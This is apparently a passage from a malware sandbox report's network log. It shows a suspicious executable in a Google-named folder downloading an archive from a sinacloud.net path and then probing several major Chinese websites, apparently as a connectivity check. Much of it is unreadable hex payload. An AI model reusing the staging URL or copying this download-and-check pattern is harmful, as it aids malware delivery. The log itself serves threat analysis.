PK=VO%22745.rar`8<;>/m="EYq7u{KQhHV&cl^kH`Z@=T'dVt)@!Eer~O\|oE!axI.Dn!xpdN\f:'fv6hB~}g6B3KZd yCP(LyD'T3bwcVpu4XwR`j{W6+T\eI78~}Q!h,f;Y.^)3sk!Mokz4~`G0;(&IIWVUBg<@5gP(qL&=8ju%URBbpp=zftV)4x3sG%Wu5iRfPbtH-V.r
Aug 5, 2024 12:00:50.989815950 CEST	1236	IN	Data Raw: a2 60 da 85 db e7 df 5f 27 60 76 9a bf fd f2 3a ad 0c 8d 74 10 69 10 f5 71 38 c8 2e aa f1 c5 52 5e 49 ef 18 6b 26 10 d3 32 90 24 e3 29 ad 66 34 d7 d7 75 35 10 65 91 88 77 cd 3b 42 68 1b 7e 1f a4 97 43 20 2a 7a 5d 1a ea c5 e7 0c 59 7e 44 b4 36 60 Data Ascii: `_'`v:tiq8.R^Ik&2$)f4u5ew;Bh~C *z]Y~D6``7I}p(!TiYB0V[c6wu yE"%+R{GF%[hGLQZ"m;mv.55Sy.Ejty\>3N6q^2w%Iqd
Aug 5, 2024 12:00:50.989829063 CEST	1236	IN	Data Raw: ee 85 f5 11 df 6a e9 a8 01 11 43 39 33 92 6a 44 e2 8d 9c 34 60 db c7 fb 3e b0 42 94 98 80 c9 52 88 a6 ee 03 b2 a0 42 4d 61 1f 12 af b5 0b da 78 96 52 7e 33 c1 79 e4 4f 3e 34 b3 65 d2 b8 5a 42 ef 8e 32 a2 c1 1b 09 82 9b d7 42 c8 dc 5a 2b 58 87 15 Data Ascii: jC93jD4`>BRBMaxR~3yO>4eZB2BZ+X1'eg{oiqfgSAV9b\w0mY4(an?\_@viRHViW/Sac~puZ\8:-,LF(\|Q$G
Aug 5, 2024 12:00:50.989860058 CEST	1236	IN	Data Raw: bf a6 de 38 20 7a 4c eb 59 c6 38 ad 19 7b 4d 28 27 7d ae 7f 36 7f 19 49 4a 1a 7a f2 75 78 e7 84 66 ff 1f 1e 30 a5 08 e5 8c 7a 79 fe 72 51 db 15 9a 59 d6 6f 91 45 69 3b a1 9b 11 82 41 51 35 3f 9a c0 61 bf 5d 5e 49 b4 93 d1 59 fd be 32 01 4a 24 fd Data Ascii: 8 zLY8{M('}6IJzuxf0zyrQYoEi;AQ5?a]^IY2J$9A$<8PL_#{-S#b9mWz^6}#!]~4GzxGd1q/IRsu/6MZ0R)nx.8AF]7Lt]dt#f+B
Aug 5, 2024 12:00:50.989871979 CEST	1236	IN	Data Raw: 95 32 21 89 c7 95 7a 87 b1 e9 bf 02 12 ed cc 23 f5 17 48 56 6e 86 21 96 27 28 49 56 92 e1 67 ce c6 53 42 c4 ec 06 66 a5 e9 0e 46 f2 2f 10 66 13 22 0a 40 45 bd fa 37 1f 0b db 05 d1 a9 68 a0 aa 46 2a 5e 48 0f 2c 8b 1f 8a db 10 5f f4 d1 50 8c f3 00 Data Ascii: 2!z#HVn!'(IVgSBfF/f"@E7hF*^H,_P/i[?3o7Y_.;]<~S{f_"ak0lghhw}S;H~FD/THrZ Eae(YTABb"X{35
Aug 5, 2024 12:00:50.989885092 CEST	1236	IN	Data Raw: 48 c5 66 22 f8 64 bf 76 aa 53 94 2a 23 1e 0c 68 c9 7e 10 b0 47 60 0b 57 2d ab 1f 5a 4d bb e6 31 34 2e b1 c8 8d 6f 84 1c d3 92 8a 3a 89 81 c1 b0 68 55 47 10 f8 80 f4 9e 17 cc f2 b2 b8 dd e8 ff 96 64 1e 04 73 a4 a5 8a d9 ca 24 eb ff bc 60 f0 2a 18 Data Ascii: Hf"dvS#h~G`W-ZM14.o:hUGds$`C:e}@<Lu7yp8<RoI h3Td y@(`b,'TEE$YY}}tZk%^swGWi8g:e0P}Rx;@VD
Aug 5, 2024 12:00:50.989907026 CEST	1236	IN	Data Raw: 7a 9e 0a 65 8e 3c c7 fa e4 0f 9f 23 39 99 cd ad 83 4a 40 28 c0 6d 7c 6a 8d b9 65 4f 47 14 bc f4 fe 40 bf 2a 42 39 74 a8 f2 93 93 f2 61 0e 26 f0 07 cf ad 45 06 e5 d4 88 b5 91 75 3d d8 a1 4d d3 cd 2c 05 44 58 bb 7b b1 ab ef aa 5a 98 07 16 93 a0 6d Data Ascii: ze<#9J@(m\|jeOG@B9ta&Eu=M,DX{Zm+V;c6MK6G<xiv6=.~Bro{%halnq@sb`q'?PZZE=BmhdS"wt(&ts.Uo:l 47L2.:?
Aug 5, 2024 12:00:50.989919901 CEST	1236	IN	Data Raw: 6f 9c c6 fe 85 5c 2f f9 c0 be 7f 60 28 1e a9 f9 0e e0 30 b9 19 58 7c 6a 3e a2 a2 8b 4f 7b 1f 45 dd 89 7f e0 39 df 74 01 b3 14 c6 0c 8d 4a 4a f0 e3 c1 7e 08 a3 5f d7 f9 00 02 82 55 66 c8 c7 7a fb e3 57 3c 1d f8 61 6e 82 d0 89 64 44 ad 0d ee 8c 0e Data Ascii: o\/`(0X\|j>O{E9tJJ~_UfzW<andDxPn?wp"exZS%.x,ErfaN$sG3a#Mz@<h-uoodEnnFpAhD&+&d/qmbp\|VfzX5+
Aug 5, 2024 12:00:50.989929914 CEST	1	IN	Data Raw: ff Data Ascii:
Aug 5, 2024 12:00:50.989942074 CEST	1236	IN	Data Raw: 1a 1a 4d a4 95 d3 37 3f cf 90 de ee 05 c1 f8 72 92 8e b6 d8 3e 2f f4 cc 02 1d 0d 00 09 43 95 c3 5a 18 60 52 e6 a6 74 9a 6b 28 94 93 e3 6f 3c 35 f7 f2 40 38 51 0a d1 10 2b d2 4b b4 fb 91 a7 98 96 18 ec aa f6 de 6d 4b fb b2 8b 96 1f 1d 2c 30 cc 9c Data Ascii: M7?r>/CZ`Rtk(o<5@8Q+KmK,07iis#Ze39jNB/@S=NHCX<Fwc`/fYttNX0x<{nH-s\>@jDI1y{dfj0v7[lQ
Aug 5, 2024 12:00:50.994889021 CEST	1236	IN	Data Raw: 3a cf 4c 82 3a e2 35 5e 85 1f b2 68 9e f0 83 d3 95 f4 ff 73 f7 a4 09 f9 55 b7 aa 3f 40 47 fa 6c ec f5 b1 f3 92 9c af 8e 1c f3 b4 15 b2 04 21 0a 49 cc 6a 75 76 95 82 85 63 47 d5 48 a2 1e 02 6b d9 30 c6 0d 5c 0d 55 00 8d 76 7d 58 fd c6 16 f3 85 ea Data Ascii: :L:5^hsU?@Gl!IjuvcGHk0\Uv}XoS.x\|c+0WF_(Y:]0-d]Iz"\|:Um@xx%t)_X% H[!0rL=G@3MV2>S(S(S2uP^Li+,QRir

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	49864	27.221.16.179	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:56.784584045 CEST	232	OUT	GET /operate/11133 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: sinacloud.net Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:00:57.890481949 CEST	1236	IN	HTTP/1.1 206 Partial Content Server: nginx Date: Mon, 05 Aug 2024 10:00:58 GMT Content-Type: application/octet-stream Content-Length: 2055055 Connection: keep-alive X-RequestId: 30976728-2408-0518-0057-6c92bfce67cc X-Requester: GRPS000000ANONYMOUSE Last-Modified: Mon, 05 Aug 2024 03:47:37 GMT X-Filesize: 2055055 ETag: "c445e228c1d2b855ca691b34182c8b68" x-amz-meta-crc32: F5269915 Cache-Control: max-age=31536000 Access-Control-Allow-Headers: Origin, Content-Type, Accept, Range, Content-Length Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS, HEAD Access-Control-Max-Age: 31536000 Access-Control-Allow-Origin: * Content-Range: bytes 0-2055054/2055055 Data Raw: 50 4b 03 04 14 00 01 00 08 00 91 5d 05 59 22 5d 47 ae 1b 5b 1f 00 00 66 48 00 09 00 00 00 31 31 31 33 33 2e 72 61 72 b6 3f dc 6d cc f0 a6 b5 9b ee 35 4d 4d 44 53 8a 8f 2b ef 70 91 6c a0 f9 c5 e2 74 5a b3 b2 7f 94 43 94 a8 8b 4e 0c fe eb c7 ef 75 90 c8 55 4a f1 b6 a0 ef f7 3a 33 88 e8 90 0a 95 3b dc b7 a1 a0 5c 57 50 0e dc 2a 75 70 e4 16 4d d3 e1 5e 7f e1 54 49 5e 0c 38 da c5 cc 67 11 df e1 45 26 c9 01 3b e0 dd ad 92 fe 6b 08 fc 31 a5 6b df 63 b0 bd 99 7b e7 53 a2 c1 e7 83 01 d0 6d e5 80 37 1f 2a 79 f2 70 2c e0 d3 30 60 4d 05 71 15 6e 1a ec f4 27 d3 d8 f2 42 f7 53 bd c7 78 06 5f f5 19 09 12 08 84 2d 16 e1 77 dd 5a 7e 2e de 6e 3b ad 32 7b 0c 01 32 52 c6 a0 1f ec e9 cf 34 42 90 4b c9 82 b4 94 82 0a 8d 8a b1 92 a9 48 24 f5 fd 55 17 77 ae c0 a7 d2 5e 8f ae e2 88 ce 3e f2 7b ae 1f 02 0d 4a 31 24 df db e5 9a f2 00 7d 15 92 a0 84 b9 a5 9b d8 bd 94 0e a7 84 ec 5f 8c d1 d8 b0 23 34 6f 8b 5a 63 1f 3f 9c a2 c6 2d 19 6f 04 fd a7 6f 1d f3 e3 fe 4a 6b e8 bf 24 03 c1 3d fc 47 12 03 1a f3 a4 cb da 21 8b 75 cf bd b8 [TRUNCATED] Data Ascii: PK]Y"]G[fH11133.rar?m5MMDS+pltZCNuUJ:3;\WPupM^TI^8gE&;k1kc{Sm7yp,0`Mqn'BSx_-wZ~.n;2{2R4BKH$Uw^>{J1$}_#4oZc?-ooJk$=G!u#l6-2Ez0\|E'7i8>o'}^^$lH,7jm=P$]<5;cs]_5@#p2&ltRd~r~W%"FGZ>rv=`O
Aug 5, 2024 12:00:57.890883923 CEST	1236	IN	Data Raw: 41 57 3f ee 1a f4 b0 7f e0 b1 34 35 f9 e8 ec 04 45 14 f2 83 b1 5d 47 80 29 be 80 04 e9 a6 2b 1f e3 2a 94 19 83 27 49 27 4e 6e db 05 43 b0 50 d0 3c ff 41 20 bb 5f 75 4a c5 8e 4d e2 50 6a 1f bc 76 bf 62 e4 2f ec 36 5f 27 bc ac b6 90 d1 7a 51 88 f8 Data Ascii: AW?45E]G)+*'I'NnCP<A _uJMPjvb/6_'zQ&-(8N)%(Bzk(5[kx?QVI9}H\UX5U<UL\|]\|6#W@27,I#n5oW[tb{[W%iR^LA1KR
Aug 5, 2024 12:00:57.890896082 CEST	377	IN	Data Raw: 23 97 60 72 70 14 a1 81 f5 92 3d d6 bb 8a 27 3c 8e 0f c9 98 8c c7 af c9 0b ef fc 37 63 95 f2 d3 95 bc 20 96 d1 f8 bc d5 9d aa 76 3d 64 0f 6d a5 c6 1e f6 a3 87 d4 d0 9b 75 c8 bc e8 58 ba db 58 28 72 2c ee a5 df 57 3e 5e f7 3b 0a c1 a3 5a eb c5 e3 Data Ascii: #`rp='<7c v=dmuXX(r,W>^;Z&EB816ytS.be?GZ[vzL7{Pcj/5"g%D,+j>#x"ibzJ$]*Y\|0@m-jgx9PC`f(}f?['
Aug 5, 2024 12:00:57.891923904 CEST	1236	IN	Data Raw: 75 45 29 9a 88 4d 4f 44 3a 3d bb 99 22 83 28 3b 8f 8b d4 0d 61 97 bd d7 30 4e 84 b6 5e f8 dd 18 52 aa 13 b8 95 f5 bd 4d 74 5f ec 20 36 47 3e e3 82 b7 ff a1 8b c6 cc 9e 96 32 a6 6f 3c e5 84 05 88 b6 f7 31 f0 37 65 10 64 92 0e 15 ab d6 2d 25 6a 7c Data Ascii: uE)MOD:="(;a0N^RMt_ 6G>2o<17ed-%j\|_`\4SD,AU] xlb<N_>f")$oc>F8F&3wD4",;^qE`iABGxuF3b[s>K(84kMY20
Aug 5, 2024 12:00:57.891935110 CEST	1236	IN	Data Raw: a1 3f eb b8 2d c1 ab 0b 37 4b 76 5e d2 2c 8e cb b0 32 fd cd 98 5d 0a 7c d6 55 fa e5 b7 7c 91 af 28 5b 9e 90 5e d8 eb a7 89 6c e2 ee 36 07 07 d8 8d 54 d0 10 e7 78 37 15 bf 9a 2e a2 ef 43 47 d8 95 ee 75 d4 98 23 5f 44 09 c0 36 a3 5e 0d 24 ba a6 29 Data Ascii: ?-7Kv^,2]\|U\|([^l6Tx7.CGu#_D6^$){71]~*PyC_1LHjR~I4 =2cBAA0B]Ag#ulyts\zl7!PxM9qNz@
Aug 5, 2024 12:00:57.893659115 CEST	1236	IN	Data Raw: 41 91 f0 83 08 95 90 59 5c 94 8b 48 39 25 fc f9 d3 65 63 ff cc 2d 52 b0 de 71 51 26 45 48 2d cb f6 99 f1 32 cd 97 e0 01 a2 a9 3b 1a 56 9f 1b 7e 42 73 a5 54 44 e3 d8 60 d5 9e 99 c9 85 3c dd ed 4a f9 d1 d1 59 9d 4e 9d 4f f9 e2 8c 66 6f b5 9c 7f d6 Data Ascii: AY\H9%ec-RqQ&EH-2;V~BsTD`<JYNOfo7QrNUR:D%-&T `TXqe\+{+k\|)Xs !3\xN_1~NCTZel8D0LRf0}Z{?SRr>
Aug 5, 2024 12:00:57.893670082 CEST	1236	IN	Data Raw: 89 85 e7 57 d4 5b 8b 3d 62 19 f0 85 ff 2b b3 de e7 5c 5a bc 89 35 7e 22 d1 f3 7e 5b 7f 05 6f a9 18 c8 2a 77 04 cb ba 59 ee 35 fd b7 f1 34 4b af d8 52 a7 7f 1c 65 a0 15 e4 a6 8d 36 bd f6 ae 79 cd dd c1 95 1e dd 58 94 74 43 13 dd 83 e8 02 ca 94 c5 Data Ascii: W[=b+\Z5~"~[o*wY54KRe6yXtC[4mQ~]U9>Sj^=(5}R2SBBR[98SnJ2dMu_Wx/ab+L}6<v:w%nJ8gy~'2`7!
Aug 5, 2024 12:00:57.895416021 CEST	636	IN	Data Raw: c5 92 b9 d6 b1 ef 36 e9 2d 33 b7 25 98 22 b2 f8 46 ae f8 a3 bd c1 86 7c 08 01 3f db 11 e5 78 b6 41 cc e8 f2 09 49 64 a5 4e 25 b2 64 d7 25 30 7d 69 70 61 02 87 4e 51 51 e6 8d 92 62 bc 85 46 ba 3c f1 9c 3d c9 6d fd 9f 78 17 38 84 5f 59 b9 31 08 48 Data Ascii: 6-3%"F\|?xAIdN%d%0}ipaNQQbF<=mx8_Y1H %>kEc1wUv2zfP1VZ*'o\|DZcC{C)$ovSZTm.qDZ7S%dvr6E'#wBcyDi%6rC#
Aug 5, 2024 12:00:57.895426035 CEST	1236	IN	Data Raw: 7b cd d5 9b 34 3d 19 12 f9 23 77 dd aa 6f 3a 4c d3 aa 77 a9 b3 56 10 e2 41 80 5f 76 fc 9f d3 bc 6a 97 2e c1 4c 0b d5 26 04 24 51 96 f6 7c 92 f1 b7 45 34 d8 2b 3f 3d fb a6 da e7 7b 47 6f 3d 22 53 68 8d 34 f2 d7 24 e3 06 f8 4a 13 63 32 7d d7 49 dd Data Ascii: {4=#wo:LwVA_vj.L&$Q\|E4+?={Go="Sh4$Jc2}Irs3}lfd\|en%DokuQ`[m1F460.=Ky xVStgmL..U}S5\| 4dBf$;*}:\.M++m
Aug 5, 2024 12:00:57.895431995 CEST	1236	IN	Data Raw: c5 6a ba ce 7f c1 ea 2f 6e 5e ce 6f b0 56 8b 91 0e 9f 91 55 76 7b 05 e2 c4 95 c8 16 b1 e6 94 2a 2e aa 3a be 17 9d c0 79 1a cd 9b 24 99 a6 c0 11 0a 9e 1d 26 67 be 81 f3 20 c7 27 36 7b fa bd 57 18 70 39 d3 94 bd 1d 8a df b8 1f 0f 44 6e bc cb a2 e1 Data Ascii: j/n^oVUv{.:y$&g '6{Wp9Dn)dt\|IL3/%$aRU^w?kLM_?<p!`+i^]>\Wxcl&VPV01D8uS_T#kkf&Ol7_ G
Aug 5, 2024 12:00:57.896987915 CEST	1236	IN	Data Raw: bd d2 03 8f bf 4d 5e b6 1e 9f ad 4f 6c 79 35 dd 4f 64 19 67 33 41 72 56 71 20 60 9e 52 d5 b1 1f b3 5a 5b 31 2e a6 c2 4f 78 d2 b9 37 7c ce 32 73 2d 42 cc 06 6b df 36 8e 72 79 58 39 9a 52 c9 c4 13 ba d2 97 9a 7d 1a 7e 46 2b 9b 5e a5 2e 86 35 66 9f Data Ascii: M^Oly5Odg3ArVq `RZ[1.Ox7\|2s-Bk6ryX9R}~F+^.5f1\fDIzAoHP_l]c56h=2/43`tQLH`/S_6q"3s_3rPDSFX(vuS0Q`oz@\TG(P2;Yts#kZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	49871	47.88.251.189	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:01:13.210470915 CEST	220	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.aliyun.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:01:14.159276009 CEST	506	IN	HTTP/1.1 301 Moved Permanently Server: Tengine Date: Mon, 05 Aug 2024 10:01:13 GMT Content-Type: text/html Content-Length: 239 Connection: keep-alive Location: https://www.aliyun.com/ EagleEye-TraceId: 0b9a02fa17228520739963223e1b9e Timing-Allow-Origin: * Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr/>Powered by Tengine<hr><center>tengine</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	49872	103.102.202.144	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:01:13.303945065 CEST	222	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.kuaishou.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:01:14.383821964 CEST	425	IN	HTTP/1.1 307 Temporary Redirect Date: Mon, 05 Aug 2024 10:01:14 GMT Content-Type: text/html Content-Length: 218 Connection: keep-alive Location: https://www.kuaishou.com/ X-KSClient-IP: 8.46.123.33 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>307 Temporary Redirect</title></head><body><center><h1>307 Temporary Redirect</h1></center><hr><center>tengine</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49873	123.125.23.91	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:01:13.419178963 CEST	223	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.sinacloud.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:01:14.387434006 CEST	376	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 05 Aug 2024 10:01:18 GMT Content-Type: text/html Content-Length: 182 Connection: keep-alive Location: https://www.sinacloud.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	49874	163.181.42.240	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:01:13.486375093 CEST	220	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.douyin.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:01:14.408855915 CEST	589	IN	HTTP/1.1 301 Moved Permanently Server: Tengine Date: Mon, 05 Aug 2024 10:01:14 GMT Content-Type: text/html Content-Length: 262 Connection: keep-alive Location: https://www.douyin.com/ x-tt-trace-tag: id=03;cdn-cache=miss;type=dyn Via: ens-cache7.sg27[,0] Timing-Allow-Origin: * EagleId: a3b52a9b17228520742511478e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 68 61 73 20 62 65 65 6e 20 61 73 73 69 67 6e 65 64 20 61 20 6e 65 77 20 70 65 72 6d 61 6e 65 6e 74 20 55 52 49 2e 3c 2f 70 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>301 Moved Permanently</h1><p>The requested resource has been assigned a new permanent URI.</p><hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	49876	43.159.71.118	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:01:13.689481974 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.sohu.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:01:14.610275030 CEST	226	IN	HTTP/1.1 302 Found Location: https://www.sohu.com/ Content-Length: 0 X-NWS-LOG-UUID: 13902132780527570392 Connection: keep-alive Server: OverSea_E0 Date: Mon, 05 Aug 2024 10:01:14 GMT X-Cache-Lookup: Return Directly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	49877	43.152.186.103	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:01:13.720027924 CEST	216	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.qq.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:01:14.598171949 CEST	231	IN	HTTP/1.1 302 Found Server: stgw Content-Type: text/html Location: https://www.qq.com/ Content-Length: 137 Connection: keep-alive Date: Mon, 05 Aug 2024 10:01:14 GMT EO-LOG-UUID: 7621631378189806227 EO-Cache-Status: MISS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	49878	119.28.109.132	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:01:13.750118971 CEST	219	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.sogou.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:01:14.844775915 CEST	564	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Mon, 05 Aug 2024 10:01:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: ABTEST=7\|1722852074\|v17; expires=Wed, 04-Sep-24 10:01:14 GMT; path=/ P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://www.sogou.com/ UUID: 6edca181-040f-4e24-94a9-030a5658d965 Data Raw: 38 61 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 8a<html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	49879	103.235.47.188	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:01:13.751547098 CEST	219	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.baidu.com Range: bytes=0- Connection: Keep-Alive
